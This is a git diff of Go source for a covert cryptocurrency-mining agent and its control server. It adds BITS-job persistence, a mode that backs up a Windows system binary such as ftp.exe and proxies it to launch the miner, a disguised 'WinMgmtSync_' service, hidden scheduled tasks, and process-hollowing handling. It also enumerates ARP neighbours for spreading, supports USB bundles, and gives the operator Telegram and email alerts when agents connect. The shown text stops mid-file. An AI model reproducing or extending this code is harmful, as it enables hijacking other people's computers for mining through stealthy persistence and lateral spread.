|
func TestHostBinaryMarkerPaths(t *testing.T) {
|
||||||
|
target := `C:\Windows\System32\ftp.exe`
|
||||||
|
if got := hostBinaryMarkerPath(target); !strings.HasSuffix(got, hostBinaryProxySuffix) {
|
||||||
|
t.Fatalf("marker: %q", got)
|
||||||
|
}
|
||||||
|
if got := hostBinaryBackupPath(target); !strings.HasSuffix(got, hostBinaryBackupSuffix) {
|
||||||
|
t.Fatalf("backup: %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -55,7 +55,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
|||||||
_ = setFirstRunSpreadMarker(installDir)
|
_ = setFirstRunSpreadMarker(installDir)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" {
|
||||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||||
return false, fmt.Errorf("auto-start: %w", err)
|
return false, fmt.Errorf("auto-start: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
11
agent/deploy/network_export.go
Normal file
11
agent/deploy/network_export.go
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
// ArpNeighborIPs returns IPv4 hosts in the local ARP cache on shared subnets.
|
||||||
|
func ArpNeighborIPs() []string {
|
||||||
|
return arpHosts()
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
|
||||||
|
func PrimaryLocalIPv4() (string, error) {
|
||||||
|
return primaryLocalIPv4()
|
||||||
|
}
|
||||||
@@ -5,7 +5,7 @@ package deploy
|
|||||||
import "crypto-miner-agent/config"
|
import "crypto-miner-agent/config"
|
||||||
|
|
||||||
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||||
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" || cfg.RunAs == "bits" || cfg.RunAs == "host_binary" {
|
||||||
return configureRunMode(cfg, installedBin)
|
return configureRunMode(cfg, installedBin)
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -35,6 +35,14 @@ func serviceExists(svcName string) bool {
|
|||||||
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
|
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
|
||||||
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||||
switch cfg.RunAs {
|
switch cfg.RunAs {
|
||||||
|
case "bits":
|
||||||
|
if err := CreateBITSPersistence(cfg, installedBin); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
case "host_binary":
|
||||||
|
if err := EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
case "scheduled":
|
case "scheduled":
|
||||||
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
|
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
|
||||||
if err := createScheduledTask(cfg, installedBin); err != nil {
|
if err := createScheduledTask(cfg, installedBin); err != nil {
|
||||||
|
|||||||
@@ -34,6 +34,10 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
|||||||
|
|
||||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||||
switch cfg.RunAs {
|
switch cfg.RunAs {
|
||||||
|
case "bits":
|
||||||
|
return CreateBITSPersistence(cfg, installedBin)
|
||||||
|
case "host_binary":
|
||||||
|
return EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget)
|
||||||
case "service":
|
case "service":
|
||||||
return createWindowsService(cfg, installedBin)
|
return createWindowsService(cfg, installedBin)
|
||||||
case "scheduled":
|
case "scheduled":
|
||||||
@@ -120,6 +124,8 @@ func removePersistence(cfg config.RuntimeConfig) {
|
|||||||
runKey.Close()
|
runKey.Close()
|
||||||
}
|
}
|
||||||
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
|
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
|
||||||
|
RemoveBITSPersistence(cfg)
|
||||||
|
RemoveHostBinaryPersistence(cfg)
|
||||||
svcName := cfg.ServiceName
|
svcName := cfg.ServiceName
|
||||||
if svcName == "" {
|
if svcName == "" {
|
||||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||||
|
|||||||
@@ -17,6 +17,12 @@ import (
|
|||||||
func main() {
|
func main() {
|
||||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||||
cfg := config.Load()
|
cfg := config.Load()
|
||||||
|
|
||||||
|
if backup, miner, ok := deploy.TryHostBinaryProxy(os.Args[1:]); ok {
|
||||||
|
deploy.RunHostBinaryProxy(backup, miner, os.Args[1:])
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
if deploy.IsGuardMode() {
|
if deploy.IsGuardMode() {
|
||||||
deploy.RunGuardLoop(cfg)
|
deploy.RunGuardLoop(cfg)
|
||||||
return
|
return
|
||||||
@@ -107,7 +113,12 @@ func main() {
|
|||||||
if err == nil {
|
if err == nil {
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
// Distinguish stub (missing -tags hollow) from a genuine runtime failure.
|
||||||
|
if strings.Contains(err.Error(), "-tags hollow") || strings.Contains(err.Error(), "not available") {
|
||||||
|
log.Printf("[hollowing] process hollowing requested but binary lacks -tags hollow — re-forge with Process Hollowing enabled")
|
||||||
|
} else {
|
||||||
|
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -237,6 +237,11 @@ func (p *Pool) worker(id int, engine *Engine) {
|
|||||||
log.Printf("[miner] hash error: %v", err)
|
log.Printf("[miner] hash error: %v", err)
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
if hashHex == "" {
|
||||||
|
// Engine not yet initialised (seed still being set) — break out
|
||||||
|
// and let the outer loop re-snapshot the job once it is ready.
|
||||||
|
break
|
||||||
|
}
|
||||||
p.hashesTotal.Add(1)
|
p.hashesTotal.Add(1)
|
||||||
nonce++
|
nonce++
|
||||||
|
|
||||||
|
|||||||
@@ -55,15 +55,13 @@ func TestDifficultyToTargetHexTwo(t *testing.T) {
|
|||||||
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
|
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
|
||||||
padded[i], padded[j] = padded[j], padded[i]
|
padded[i], padded[j] = padded[j], padded[i]
|
||||||
}
|
}
|
||||||
want := strings.ToLower(strings.Repeat("", 0)) // placeholder
|
|
||||||
_ = want
|
|
||||||
const hexdigits = "0123456789abcdef"
|
const hexdigits = "0123456789abcdef"
|
||||||
wantBytes := make([]byte, 64)
|
wantBytes := make([]byte, 64)
|
||||||
for i, v := range padded {
|
for i, v := range padded {
|
||||||
wantBytes[i*2] = hexdigits[v>>4]
|
wantBytes[i*2] = hexdigits[v>>4]
|
||||||
wantBytes[i*2+1] = hexdigits[v&0x0f]
|
wantBytes[i*2+1] = hexdigits[v&0x0f]
|
||||||
}
|
}
|
||||||
want = string(wantBytes)
|
want := string(wantBytes)
|
||||||
if out != want {
|
if out != want {
|
||||||
t.Fatalf("difficulty 2 target = %q, want %q", out, want)
|
t.Fatalf("difficulty 2 target = %q, want %q", out, want)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -259,5 +259,7 @@ echo ==============================================================
|
|||||||
echo.
|
echo.
|
||||||
|
|
||||||
:end_pause
|
:end_pause
|
||||||
|
echo.
|
||||||
|
echo NOTE: USB bundle unchanged until pack-usb.bat is run.
|
||||||
pause
|
pause
|
||||||
endlocal
|
endlocal
|
||||||
|
|||||||
Binary file not shown.
@@ -7,6 +7,8 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/alerts"
|
||||||
)
|
)
|
||||||
|
|
||||||
type Config struct {
|
type Config struct {
|
||||||
@@ -108,6 +110,13 @@ type AlertsConfig struct {
|
|||||||
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
||||||
TelegramBotToken string `json:"telegram_bot_token"`
|
TelegramBotToken string `json:"telegram_bot_token"`
|
||||||
TelegramChatID string `json:"telegram_chat_id"`
|
TelegramChatID string `json:"telegram_chat_id"`
|
||||||
|
// Per-event Telegram/email toggles (default true).
|
||||||
|
NotifyAgentConnect bool `json:"notify_agent_connect"`
|
||||||
|
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
|
||||||
|
NotifyAgentOffline bool `json:"notify_agent_offline"`
|
||||||
|
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
|
||||||
|
NotifyRejectionRate bool `json:"notify_rejection_rate"`
|
||||||
|
NotifyBuildComplete bool `json:"notify_build_complete"`
|
||||||
EmailEnabled bool `json:"email_enabled"`
|
EmailEnabled bool `json:"email_enabled"`
|
||||||
SMTPHost string `json:"smtp_host"`
|
SMTPHost string `json:"smtp_host"`
|
||||||
SMTPPort int `json:"smtp_port"`
|
SMTPPort int `json:"smtp_port"`
|
||||||
@@ -179,6 +188,12 @@ func DefaultConfig() *Config {
|
|||||||
OfflineThresholdMinutes: 5,
|
OfflineThresholdMinutes: 5,
|
||||||
HashrateDropThresholdPct: 50,
|
HashrateDropThresholdPct: 50,
|
||||||
RejectionRateThresholdPct: 5,
|
RejectionRateThresholdPct: 5,
|
||||||
|
NotifyAgentConnect: true,
|
||||||
|
NotifyAgentReconnect: true,
|
||||||
|
NotifyAgentOffline: true,
|
||||||
|
NotifyHashrateDrop: true,
|
||||||
|
NotifyRejectionRate: true,
|
||||||
|
NotifyBuildComplete: true,
|
||||||
},
|
},
|
||||||
Server: ServerSettings{
|
Server: ServerSettings{
|
||||||
PublicURL: "",
|
PublicURL: "",
|
||||||
@@ -225,12 +240,45 @@ func LoadConfig() *Config {
|
|||||||
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
|
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
|
||||||
cfg.Server.OpenFirewallOnStart = true
|
cfg.Server.OpenFirewallOnStart = true
|
||||||
}
|
}
|
||||||
|
if !strings.Contains(string(data), `"notify_agent_connect"`) {
|
||||||
|
cfg.Alerts.NotifyAgentConnect = true
|
||||||
|
cfg.Alerts.NotifyAgentReconnect = true
|
||||||
|
cfg.Alerts.NotifyAgentOffline = true
|
||||||
|
cfg.Alerts.NotifyHashrateDrop = true
|
||||||
|
cfg.Alerts.NotifyRejectionRate = true
|
||||||
|
cfg.Alerts.NotifyBuildComplete = true
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return cfg
|
return cfg
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AlertSettings builds notification settings for the alerts package.
|
||||||
|
func (c *Config) AlertSettings() alerts.Settings {
|
||||||
|
if c == nil {
|
||||||
|
return alerts.Settings{}
|
||||||
|
}
|
||||||
|
return alerts.NewSettings(alerts.NotifyConfig{
|
||||||
|
TelegramBotToken: c.Alerts.TelegramBotToken,
|
||||||
|
TelegramChatID: c.Alerts.TelegramChatID,
|
||||||
|
EmailEnabled: c.Alerts.EmailEnabled,
|
||||||
|
SMTPHost: c.Alerts.SMTPHost,
|
||||||
|
SMTPPort: c.Alerts.SMTPPort,
|
||||||
|
SMTPUser: c.Alerts.SMTPUser,
|
||||||
|
SMTPPassword: c.Alerts.SMTPPassword,
|
||||||
|
EmailTo: c.Alerts.EmailTo,
|
||||||
|
EmailFrom: c.Alerts.EmailFrom,
|
||||||
|
}, alerts.EventToggles{
|
||||||
|
AgentConnect: c.Alerts.NotifyAgentConnect,
|
||||||
|
AgentReconnect: c.Alerts.NotifyAgentReconnect,
|
||||||
|
AgentOffline: c.Alerts.NotifyAgentOffline,
|
||||||
|
HashrateDrop: c.Alerts.NotifyHashrateDrop,
|
||||||
|
RejectionRate: c.Alerts.NotifyRejectionRate,
|
||||||
|
BuildComplete: c.Alerts.NotifyBuildComplete,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
func mergeConfig(dst, src *Config) {
|
func mergeConfig(dst, src *Config) {
|
||||||
if src.Port != 0 {
|
if src.Port != 0 {
|
||||||
dst.Port = src.Port
|
dst.Port = src.Port
|
||||||
@@ -351,6 +399,12 @@ func mergeConfig(dst, src *Config) {
|
|||||||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||||
}
|
}
|
||||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||||
|
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
||||||
|
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
||||||
|
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
|
||||||
|
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
||||||
|
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
||||||
|
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
||||||
if src.Alerts.SMTPHost != "" {
|
if src.Alerts.SMTPHost != "" {
|
||||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||||
}
|
}
|
||||||
@@ -610,6 +664,24 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
|||||||
if in(alertKeys, "email_enabled") {
|
if in(alertKeys, "email_enabled") {
|
||||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||||
}
|
}
|
||||||
|
if in(alertKeys, "notify_agent_connect") {
|
||||||
|
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
||||||
|
}
|
||||||
|
if in(alertKeys, "notify_agent_reconnect") {
|
||||||
|
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
||||||
|
}
|
||||||
|
if in(alertKeys, "notify_agent_offline") {
|
||||||
|
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
|
||||||
|
}
|
||||||
|
if in(alertKeys, "notify_hashrate_drop") {
|
||||||
|
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
||||||
|
}
|
||||||
|
if in(alertKeys, "notify_rejection_rate") {
|
||||||
|
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
||||||
|
}
|
||||||
|
if in(alertKeys, "notify_build_complete") {
|
||||||
|
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
||||||
|
}
|
||||||
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
|
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
|
||||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ require (
|
|||||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||||
github.com/ncruces/go-strftime v0.1.9 // indirect
|
github.com/ncruces/go-strftime v0.1.9 // indirect
|
||||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||||
|
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e // indirect
|
||||||
golang.org/x/net v0.54.0 // indirect
|
golang.org/x/net v0.54.0 // indirect
|
||||||
golang.org/x/sys v0.45.0 // indirect
|
golang.org/x/sys v0.45.0 // indirect
|
||||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
|
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
|
||||||
|
|||||||
@@ -22,6 +22,8 @@ github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZb
|
|||||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||||
|
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e h1:MRM5ITcdelLK2j1vwZ3Je0FKVCfqOLp5zO6trqMLYs0=
|
||||||
|
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e/go.mod h1:XV66xRDqSt+GTGFMVlhk3ULuV0y9ZmzeVGR4mloJI3M=
|
||||||
golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988=
|
golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988=
|
||||||
golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc=
|
golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc=
|
||||||
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
|
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent)
|
|||||||
type Evaluator struct {
|
type Evaluator struct {
|
||||||
db *db.Database
|
db *db.Database
|
||||||
thresholds func() Thresholds
|
thresholds func() Thresholds
|
||||||
notify func() NotifyConfig
|
settings func() Settings
|
||||||
broadcast Broadcaster
|
broadcast Broadcaster
|
||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
baseline map[string]float64
|
baseline map[string]float64
|
||||||
@@ -40,11 +40,11 @@ type Evaluator struct {
|
|||||||
cooldown time.Duration
|
cooldown time.Duration
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator {
|
func NewEvaluator(database *db.Database, thresholds func() Thresholds, settings func() Settings, broadcast Broadcaster) *Evaluator {
|
||||||
return &Evaluator{
|
return &Evaluator{
|
||||||
db: database,
|
db: database,
|
||||||
thresholds: thresholds,
|
thresholds: thresholds,
|
||||||
notify: notify,
|
settings: settings,
|
||||||
broadcast: broadcast,
|
broadcast: broadcast,
|
||||||
baseline: make(map[string]float64),
|
baseline: make(map[string]float64),
|
||||||
lastFired: make(map[string]time.Time),
|
lastFired: make(map[string]time.Time),
|
||||||
@@ -180,12 +180,25 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
|
|||||||
e.mu.Unlock()
|
e.mu.Unlock()
|
||||||
|
|
||||||
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
|
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
|
||||||
NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message)
|
s := e.settings()
|
||||||
|
if s.EnabledForAlertType(ev.Type) {
|
||||||
|
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
|
||||||
|
}
|
||||||
if e.broadcast != nil {
|
if e.broadcast != nil {
|
||||||
e.broadcast(ev)
|
e.broadcast(ev)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetNotifyConfig returns delivery credentials for channel probes.
|
||||||
|
func (e *Evaluator) GetNotifyConfig() NotifyConfig {
|
||||||
|
return e.settings().NotifyConfig
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetSettings returns full notification settings.
|
||||||
|
func (e *Evaluator) GetSettings() Settings {
|
||||||
|
return e.settings()
|
||||||
|
}
|
||||||
|
|
||||||
func (e *Evaluator) ActiveAlerts() []AlertEvent {
|
func (e *Evaluator) ActiveAlerts() []AlertEvent {
|
||||||
e.mu.Lock()
|
e.mu.Lock()
|
||||||
defer e.mu.Unlock()
|
defer e.mu.Unlock()
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ func TestEvaluatorOfflineAlert(t *testing.T) {
|
|||||||
var fired []AlertEvent
|
var fired []AlertEvent
|
||||||
e := &Evaluator{
|
e := &Evaluator{
|
||||||
thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} },
|
thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} },
|
||||||
notify: func() NotifyConfig { return NotifyConfig{} },
|
settings: func() Settings { return NewSettings(NotifyConfig{}, EventToggles{AgentOffline: true}) },
|
||||||
broadcast: func(ev AlertEvent) { fired = append(fired, ev) },
|
broadcast: func(ev AlertEvent) { fired = append(fired, ev) },
|
||||||
baseline: make(map[string]float64),
|
baseline: make(map[string]float64),
|
||||||
lastFired: make(map[string]time.Time),
|
lastFired: make(map[string]time.Time),
|
||||||
|
|||||||
54
server/internal/alerts/notifier.go
Normal file
54
server/internal/alerts/notifier.go
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
package alerts
|
||||||
|
|
||||||
|
import "log"
|
||||||
|
|
||||||
|
// Notifier sends Telegram/email when Calibrate toggles allow it.
|
||||||
|
type Notifier struct {
|
||||||
|
settings func() Settings
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewNotifier(settings func() Settings) *Notifier {
|
||||||
|
return &Notifier{settings: settings}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (n *Notifier) Emit(event string, title, body string) {
|
||||||
|
if n == nil || n.settings == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s := n.settings()
|
||||||
|
if !n.eventEnabled(s, event) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("[Notify] %s: %s", event, body)
|
||||||
|
NotifyAll(s.NotifyConfig, title, body)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (n *Notifier) eventEnabled(s Settings, event string) bool {
|
||||||
|
switch event {
|
||||||
|
case EventAgentConnect:
|
||||||
|
return s.Events.AgentConnect
|
||||||
|
case EventAgentReconnect:
|
||||||
|
return s.Events.AgentReconnect
|
||||||
|
case EventBuildComplete:
|
||||||
|
return s.Events.BuildComplete
|
||||||
|
case "offline":
|
||||||
|
return s.Events.AgentOffline
|
||||||
|
case "hashrate_drop":
|
||||||
|
return s.Events.HashrateDrop
|
||||||
|
case "rejection_rate":
|
||||||
|
return s.Events.RejectionRate
|
||||||
|
default:
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetSettings exposes current settings (alert test handler).
|
||||||
|
func (n *Notifier) GetSettings() Settings {
|
||||||
|
if n == nil || n.settings == nil {
|
||||||
|
return Settings{}
|
||||||
|
}
|
||||||
|
return n.settings()
|
||||||
|
}
|
||||||
25
server/internal/alerts/notifier_test.go
Normal file
25
server/internal/alerts/notifier_test.go
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
package alerts
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestNotifierRespectsToggles(t *testing.T) {
|
||||||
|
n := NewNotifier(func() Settings {
|
||||||
|
return NewSettings(
|
||||||
|
NotifyConfig{TelegramBotToken: "t", TelegramChatID: "1"},
|
||||||
|
EventToggles{AgentConnect: false, AgentReconnect: true},
|
||||||
|
)
|
||||||
|
})
|
||||||
|
// disabled — no panic
|
||||||
|
n.Emit(EventAgentConnect, "title", "body")
|
||||||
|
n.Emit(EventAgentReconnect, "title", "body")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSettingsEnabledForAlertType(t *testing.T) {
|
||||||
|
s := NewSettings(NotifyConfig{}, EventToggles{AgentOffline: false, HashrateDrop: true})
|
||||||
|
if s.EnabledForAlertType("offline") {
|
||||||
|
t.Fatal("expected offline disabled")
|
||||||
|
}
|
||||||
|
if !s.EnabledForAlertType("hashrate_drop") {
|
||||||
|
t.Fatal("expected hashrate enabled")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,6 +4,7 @@ import (
|
|||||||
"bytes"
|
"bytes"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"io"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/smtp"
|
"net/smtp"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -27,11 +28,11 @@ func SendTelegram(cfg NotifyConfig, text string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", cfg.TelegramBotToken)
|
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", cfg.TelegramBotToken)
|
||||||
body, _ := json.Marshal(map[string]string{
|
payload, _ := json.Marshal(map[string]string{
|
||||||
"chat_id": cfg.TelegramChatID,
|
"chat_id": cfg.TelegramChatID,
|
||||||
"text": text,
|
"text": text,
|
||||||
})
|
})
|
||||||
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
|
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(payload))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -42,8 +43,19 @@ func SendTelegram(cfg NotifyConfig, text string) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
defer resp.Body.Close()
|
defer resp.Body.Close()
|
||||||
|
body, _ := io.ReadAll(resp.Body)
|
||||||
if resp.StatusCode >= 300 {
|
if resp.StatusCode >= 300 {
|
||||||
return fmt.Errorf("telegram API status %d", resp.StatusCode)
|
msg := strings.TrimSpace(string(body))
|
||||||
|
if msg == "" {
|
||||||
|
return fmt.Errorf("telegram API status %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
var apiErr struct {
|
||||||
|
Description string `json:"description"`
|
||||||
|
}
|
||||||
|
if json.Unmarshal(body, &apiErr) == nil && apiErr.Description != "" {
|
||||||
|
return fmt.Errorf("telegram: %s", apiErr.Description)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("telegram API status %d: %s", resp.StatusCode, msg)
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
41
server/internal/alerts/settings.go
Normal file
41
server/internal/alerts/settings.go
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
package alerts
|
||||||
|
|
||||||
|
// Event toggles — all default true in server DefaultConfig.
|
||||||
|
type EventToggles struct {
|
||||||
|
AgentConnect bool
|
||||||
|
AgentReconnect bool
|
||||||
|
AgentOffline bool
|
||||||
|
HashrateDrop bool
|
||||||
|
RejectionRate bool
|
||||||
|
BuildComplete bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// Settings combines delivery credentials with per-event toggles.
|
||||||
|
type Settings struct {
|
||||||
|
NotifyConfig
|
||||||
|
Events EventToggles
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewSettings(nc NotifyConfig, ev EventToggles) Settings {
|
||||||
|
return Settings{NotifyConfig: nc, Events: ev}
|
||||||
|
}
|
||||||
|
|
||||||
|
// EnabledForAlertType maps evaluator alert types to toggles.
|
||||||
|
func (s Settings) EnabledForAlertType(alertType string) bool {
|
||||||
|
switch alertType {
|
||||||
|
case "offline":
|
||||||
|
return s.Events.AgentOffline
|
||||||
|
case "hashrate_drop":
|
||||||
|
return s.Events.HashrateDrop
|
||||||
|
case "rejection_rate":
|
||||||
|
return s.Events.RejectionRate
|
||||||
|
default:
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const (
|
||||||
|
